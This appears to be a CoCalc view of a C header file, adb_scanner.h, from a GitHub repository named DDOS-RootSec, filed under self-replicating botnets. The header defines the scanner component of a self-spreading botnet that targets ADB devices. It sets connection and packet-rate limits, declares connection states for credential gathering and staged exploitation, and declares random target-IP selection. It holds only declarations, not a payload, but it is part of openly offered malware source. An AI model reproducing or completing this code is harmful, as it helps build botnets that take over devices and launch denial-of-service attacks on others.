Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/ADB/adb_scanner.h
5038 views
1
#ifdef SELFREP
2
3
#pragma once
4
5
#include <stdint.h>
6
7
#include "includes.h"
8
9
#ifdef X86_64
10
#define EXPLOIT_SCANNER_MAX_CONNS 512
11
#define EXPLOIT_SCANNER_RAW_PPS 1440
12
#else
13
#define EXPLOIT_SCANNER_MAX_CONNS 128
14
#define EXPLOIT_SCANNER_RAW_PPS 160
15
#endif
16
#ifdef X86_64
17
#define EXPLOIT_SCANNER_RDBUF_SIZE 1024
18
#define EXPLOIT_SCANNER_HACK_DRAIN 64
19
#else
20
#define EXPLOIT_SCANNER_RDBUF_SIZE 256
21
#define EXPLOIT_SCANNER_HACK_DRAIN 64
22
#endif
23
24
struct exploit_scanner_connection
25
{
26
int fd, last_recv;
27
enum
28
{
29
EXPLOIT_SC_CLOSED,
30
EXPLOIT_SC_CONNECTING,
31
EXPLOIT_SC_GET_CREDENTIALS,
32
EXPLOIT_SC_EXPLOIT_STAGE2,
33
EXPLOIT_SC_EXPLOIT_STAGE3,
34
} state;
35
ipv4_t dst_addr;
36
uint16_t dst_port;
37
int rdbuf_pos;
38
char rdbuf[EXPLOIT_SCANNER_RDBUF_SIZE];
39
char **credentials;
40
char payload_buf[2560], payload_buf2[2560];
41
int credential_index;
42
};
43
44
void exploit_init();
45
void exploit_kill(void);
46
47
static void exploit_setup_connection(struct exploit_scanner_connection *);
48
static ipv4_t get_random_ip(void);
49
50
#endif
51
52
53